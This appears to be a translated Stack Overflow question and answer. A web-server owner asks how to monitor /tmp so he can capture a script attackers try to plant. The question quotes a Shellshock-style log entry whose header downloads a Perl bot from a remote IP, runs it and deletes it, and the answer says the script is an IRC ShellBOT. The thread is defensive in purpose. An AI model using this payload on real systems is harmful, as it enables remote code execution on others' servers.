python - 用于监视新文件目录的 python 脚本

Question

有人问过类似的问题，但它们要么对我不起作用，要么我没能理解答案。

我运行 Apache2 网络服务器并托管一些小型个人网站。我正在被网络跟踪，或者有人试图黑掉我。

Apache2访问日志显示

195.154.80.205 - - [05/Nov/2015:09:57:09 +0000] "GET /info.cgi HTTP/1.1" 404 464 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://190.186.76.252/cox.pl -O /tmp/cox.pl;curl -O /tmp/cox.pl http://190.186.76.252/cox.pl;perl /tmp/cox.pl;rm -rf /tmp/cox.pl*\");'"

这显然是在尝试(在我的日志中一遍又一遍)强制我的服务器下载“cox.pl”，然后运行“cox.pl”，然后删除“cox.pl”。

我真的很想知道 cox.pl 中有什么，它可能是 Cox-Data-Usage 的修改版本在 github 上。

我想要一个脚本来持续监视我的 /tmp 文件夹，当添加新文件时，然后将该文件复制到另一个目录，以便我查看它在做什么，或试图至少做。

我知道我可以拒绝访问等，但我​​想知道这些黑客试图做什么，看看我是否可以收集有关他们的情报。

Answer 1

有问题的脚本可以很容易地下载，它包含 ShellBOT by: devil__ 所以...猜测 ;-)

你可以使用 tutorial_notifier.py来自 pyinotify ，但不需要这种特殊情况。就这样

curl http://190.186.76.252/cox.pl -o cox.pl.txt
less cox.pl.txt

检查脚本。

它看起来像是适用于 Linux 2.4.17 - 2.6.17 和 BSD* 的一套很好的 hack，对我来说并不是那么无害，与 IRC 相关。与Cox-Data-Usage无关.